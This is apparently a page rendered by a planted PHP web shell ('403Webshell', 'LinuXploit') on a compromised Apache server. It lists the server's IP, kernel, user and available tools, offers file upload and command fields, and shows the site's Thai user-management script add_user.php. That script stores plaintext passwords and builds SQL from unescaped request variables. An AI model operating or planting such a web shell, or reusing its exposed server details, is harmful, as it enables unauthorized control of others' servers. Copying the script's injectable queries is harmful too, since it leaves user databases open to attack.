403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/CAR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/CAR/add_user.php
<?php
$ebits = ini_get('error_reporting');
error_reporting($ebits ^ E_NOTICE);
?>

<?php
include("dbconfig.php");
if ( $cmdSubmit == "Submit" )
{
	if ( empty( $name ) )
		{ echo ("<center><font color=\"red\">ไม่ได้กรอกชื่อ</font></center> ");
		exit; }
	if ( empty( $place ) )
		{ echo ("<center><font color=\"red\">ไม่ได้กรอกสถานที่</font></center> ");
		exit; }
	if ( empty( $pwd ) )
		{ echo ("<center><font color=\"red\">ไม่ได้กรอกรหัสผ่าน</font></center> ");
		exit; }	

// ป้องกันการกรอกแท็ก HTML จากผู้ใช
		$name = htmlspecialchars($name);
		$place = htmlspecialchars($place);
		$pwd = htmlspecialchars($pwd);
// ป้อนกันการเกิด error ของ sql เมื่อ user ป้อน เครื่องหมาย "-" และ '-'
		$name = addslashes($name);
		$place = addslashes($place);
		$pwd = addslashes($pwd);

setlocale("LC_TIME","th");	//ใช้เวลาแบบไทย 
	$a = date("j");	 // วันที
	$b = strftime("%B");	 // เดือนเต็ม
	$c = strftime("%Y")+543;	 // ปี พ.ศ.
	$d = date("H:i:s");	 // เวลา
	$date = "$a $b $c - $d";
 
 
 	//mysql_select_db($__dbwp__ or die("เลือกฐานข้อมูลไม่ได้"));
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
// uid +1	
$strSQL = "select max(id) as mix from user ";
$result = mysql_query( $strSQL);

	//$sql = "insert into user (id,name, place, pwd, status) values  ('98001','$name','$place','$pwd','$status')";
	//$result = mysql_query($sql );
 
		if (!$result)
				{ 
					echo("เก็บเข้าฐานข้อมูลไม่ได้" . mysql_error() ); 
					exit;
				}
		else
				{
						$row =  mysql_fetch_array($result);
						$fon =  $row['mix'] + 1;
						$sql = "insert into user (id,name, name_station, pwd, status) values ('$fon','$name','$name_station','$pwd','$status')";
						$result = mysql_query($sql );
					
						
						}
						if (!$result)
						{ 
								echo("เก็บเข้าฐานข้อมูลไม่ได้" . mysql_error() ); 
								exit;
						}
						else
						{
			 					echo "<font size=3>บันทึกข้อมูลเรียบร้อยแล้ว <br>";
						}	
				}
?> 
<html>
<head>
<title>เพิ่มชื่อ</title>
 <meta http-equiv="Content-Type" content="text/html; charset=windows-874">
<LINK href="style.css" rel=stylesheet>
<STYLE type=text/css>
a:link{color:white;text-decoration:none;font-family:ms sans serif;}
a:visited{color:white;text-decoration:none;font-family:ms sans serif;}
a:hover{color:yellow;text-decoration:none;font-family:ms sans serif;}
td{font-size:10pt;font-family:ms sans serif;}

</STYLE>
<script language="JavaScript1.2">
<!--
/*
Auto Maximize Window Script- By Nick Lowe (nicklowe@ukonline.co.uk)
*/
top.window.moveTo(0,0);
if (document.all) {
top.window.resizeTo(screen.availWidth,screen.availHeight);
}
else if (document.layersdocument.getElementById) {
if (top.window.outerHeight<screen.availHeighttop.window.outerWidth<screen.availWidth){
top.window.outerHeight = screen.availHeight;
top.window.outerWidth = screen.availWidth;
}
}
//-->
</script>
</head>

<body>
<TABLE height=82 cellSpacing=0 cellPadding=0 width="100%" border=0>
  <TBODY>
    <TR> 
      <TD style="BACKGROUND-COLOR: #f0f7ff" colSpan=2></TD>
    </TR>
    <TR bgColor=#c7d2e7> 
      <TD class=thwbold width="35%" height=25> 
        <form name="form2" method="post" action="add_user.php">
          <a 
      href=""><span class=thsans 
      title=ค้นหาแบบละเอียด><font color=#216289><u>ค้นหา</u></font></span></a> 
          <input style="FONT-SIZE: 10px; FONT-FAMILY: tahoma" size=20 
      name=searchtext>
          <input name="cmdsearch" type=image id="cmdsearch2" style="MARGIN: 0px" src="picture/go.gif" 
      alt=ค้นหา 
      align=absMiddle width=21 height=21 border=0 >
        </form> 
      </TD>
      <TD class=thsans vAlign=center align=right bgColor=#c7d1e7 height=25><A 
      href=""><IMG height=18 
      alt="" src="picture/youraccount.gif" width=18 
      align=absMiddle border=0></A> <A 
      href=""></A> &nbsp;<A 
      href=""><IMG height=18 alt=Help! 
      src="picture/q.gif" width=18 align=absMiddle border=0></A> 
        <A href=""></A> <IMG height=18 
      alt="" hspace=3 src="picture/cart.gif" width=18 
      align=absMiddle border=0><A 
      href=""></A>&nbsp; </TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: black" colSpan=2></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: #f0f8ff" colSpan=2></TD>
    </TR>
    <TR vAlign=center bgColor=#216289> 
      <TD class=thwbold colSpan=2 height=21> <TABLE height="95%" cellSpacing=0 cellPadding=1 width="99%" align=center 
      border=0>
          <TBODY>
            <TR> 
              <TD width="10%" height="22"  
          
          align=middle><SPAN class=thsans2 
            id=n1><a href="index.php">หน้าแรก</a></SPAN></TD>
              <TD  
          
           align=middle width="13%">&nbsp;</TD>
              <TD 
          
           align=middle width="10%">&nbsp;</TD>
              <TD 
          
           align=middle width="10%">&nbsp;</TD>
              <TD 
          
           align=middle width="14%"><SPAN 
            class=thsans2 id=n5></SPAN></TD>
              <TD 
          
           align=middle width="16%"><SPAN 
            class=thsans2 id=n5><a href="add_soft.asp">เ</a></SPAN></TD>
              <TD 
          
         align=middle width="20%"><A 
            class=no_de href="        "></A><SPAN 
            class=thsans2 id=n5></SPAN></TD>
              <TD class=thtahomasmall  
           align=middle width="7%">&nbsp;</TD>
            </TR>
          </TBODY>
        </TABLE></TD>
    </TR>
    <TR> 
      <TD style="BACKGROUND-COLOR: black; heigth: 1" 
colSpan=2></TD>
    </TR>
  </TBODY>
</TABLE>
<form name="form1" method="post" action="">
  <TABLE cellSpacing=0 cellPadding=3 width="98%" align=center border=0>
    <TBODY>
      <TR> 
        <TD width="20%" height="126" vAlign=top> <STYLE type=text/css>A.dealer:hover {
	COLOR: #0000ff; FONT-STYLE: normal; TEXT-DECORATION: underline
}
A.menu:link {
	COLOR: #000000; FONT-STYLE: normal; TEXT-DECORATION: none
}
A.menu:visited {
	COLOR: #000000; FONT-STYLE: normal; TEXT-DECORATION: none
}
A.menu:hover {
	COLOR: #ff0000; FONT-STYLE: normal; TEXT-DECORATION: underline
}
</STYLE> <TABLE cellSpacing=0 cellPadding=3 width="98%" border=0>
            <TBODY>
              <TR> 
                <TD class=thtahomasmall bgColor=#c7d2e7><FONT 
                  color=#000000><A 
            class=no_de href="    "><SPAN 
            class=thsans2 id=n5>คำแนะนำ</SPAN></A></FONT></TD>
              </TR>
              <TR> 
                <TD class=thtahomasmall 
                style="BORDER-RIGHT: #c7d2e7 1px solid; BORDER-TOP: #c7d2e7 1px solid; BORDER-LEFT: #c7d2e7 1px solid; BORDER-BOTTOM: #c7d2e7 1px solid" 
                bgColor=#f0f8ff height=21><BR>
                  &raquo; <A 
                  href="      "><FONT 
                  color=red></FONT></A>ควรเพิ่มชื่อผู้งาน เช่น ผู้มีหน้าที่เบิก 
                  หรือผู้ให้เบิก<br>
                  ให้ครบตามผู้ใช้งานจริง<BR></TD>
              </TR>
            </TBODY>
          </TABLE> </TD>
        <TD vAlign=top width="60%"> <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
            <TBODY>
              <TR> 
                <TD width="100%" colSpan=2> <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
                    <TBODY>
                      <TR> 
                        <TD width="91%"><IMG height=15 src="picture/home.gif" 
                        width=16 align=absMiddle border=0> <SPAN 
                        class=sidenev><font color="black">เพิ่มรายชื่อ</font></SPAN></TD>
                        <TD width="9%" align=right><font color=#c7d2e7>&nbsp;</font> 
                          <img 
                 
                  src="picture/maximize_button.gif" 
                  name=open width=12 height="12" style="CURSOR: hand"> <img 
                  
                  src="picture/close_button.gif" 
                  name=close width=12 height="12" style="CURSOR: hand"></TD>
                      </TR>
                    </TBODY>
                  </TABLE>
                  <TABLE width="100%" border=0>
                    <TBODY>
                      <TR> 
                        <TD 
                      style="BACKGROUND-IMAGE: url(pointsmall.gif); BACKGROUND-REPEAT: repeat-x"></TD>
                      </TR>
                    </TBODY>
                  </TABLE>
                  <DIV class=thtahomasmall 
                  style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; PADDING-TOP: 2px" 
                  align=right> </DIV>
                  <DIV id=news_newyear 
                  style="BORDER-RIGHT: #c7d2e7 1px solid; PADDING-RIGHT: 3px; BORDER-TOP: #c7d2e7 1px solid; PADDING-LEFT: 3px; MARGIN-BOTTOM: 3px; PADDING-BOTTOM: 3px; BORDER-LEFT: #c7d2e7 1px solid; PADDING-TOP: 3px; BORDER-BOTTOM: #c7d2e7 1px solid; BACKGROUND-COLOR: #f0f8ff"> 
                    <table width="100%" border="0" cellpadding="0" cellspacing="2">
                      <tr> 
                        <td width="14%">รหัสประจำตัว</td>
                        <td width="86%"><input name="uid" type="text" id="uid" size="7" maxlength="5" readonly = "yes">
                          ชื่อ-สกุล 
                          <input name="name" type="text" id="name2" size="25">
                          หน่วยงาน <font size="2" face="Microsoft Sans Serif, MS Sans Serif, sans-serif">
                          <select name=place id="select3">
                            <option value=""> เลือกหน่วยงาน </option>
                            <? 
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
						$plquery="select  id,place_name from place   ";
						$plresult=mysql_query($plquery);
				
						while ($plobject = mysql_fetch_object($plresult))
						{
							echo "<OPTION VALUE =".$plobject ->id.">" .$plobject ->place_name."</Option>" ;
						}

						?>
                          </select>
                          </font></td>
                      </tr>
                      <tr> 
                        <td height="28">รหัสผ่าน</td>
                        <td><input name="pwd" type="text" id="place">
                          <input name="status" type="hidden" id="status" value="0" size="5" maxlength="1" readonly = "yes">
                          <input name="cmdSubmit" type="submit" id="cmd2" value="Submit"> 
                        </td>
                      </tr>
                    </table>
                  </DIV></TD>
              </TR>
            </TBODY>
          </TABLE>
          <BR> </TD>
      </TR>
    </TBODY>
  </TABLE>
  </form>
  <TABLE cellSpacing=0 cellPadding=3 width="100%" border=0>
  <TBODY>
    <TR> 
      <TD class=thtahomasmall bgColor=#c7d2e7
                  height=5><FONT color=#000000>&nbsp;แสดงรายชื่อผู้ใช้งานุทั้งหมด</FONT></TD>
    </TR>
    <TR> 
      <TD height="46" 
                bgColor=#f0f8ff class=thtahomasmall 
                style="BORDER-RIGHT: #c7d2e7 1px solid; BORDER-TOP: #c7d2e7 1px solid; BORDER-LEFT: #c7d2e7 1px solid; BORDER-BOTTOM: #c7d2e7 1px solid"><table width="75%" border="0" align="center" cellpadding="2" cellspacing="0">
          <tr> 
            <td class=thtahomasmall bgColor=#c7d2ff width="24%"><div align="left">รหัสประจำตัว</div></td>
            <td width="33%" class=thtahomasmall bgColor=#c7d2ff><div align="left">ชื่อ 
                - นามสกุล </div></td>
            <td width="43%" class=thtahomasmall bgColor=#c7d2ff><div align="left">หน่วยงาน</div></td>
          </tr>
		  <?php
mysql_select_db($__dbwp__);
mysql_query(" SET NAMES 'tis620'; ");
	$sql = " select  id,name,name_station  from user";
	$result = mysql_query($sql );
		while ($object = mysql_fetch_object($result))
		  {
		  $uid =   $object ->id;
		  $name = $object ->name;
		  $place = $object ->name_station;
		  ?>
          <tr> 
            <td height="22"><? echo $uid ;?></td>
            <td>
              <? echo $name ; ?>
            </td>
            <td>
              <? echo $place ;?>
            </td>
          </tr>
          <?php
		  }

			?>
        </table>
      </TD>
    </TR>
  </TBODY>
</TABLE>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit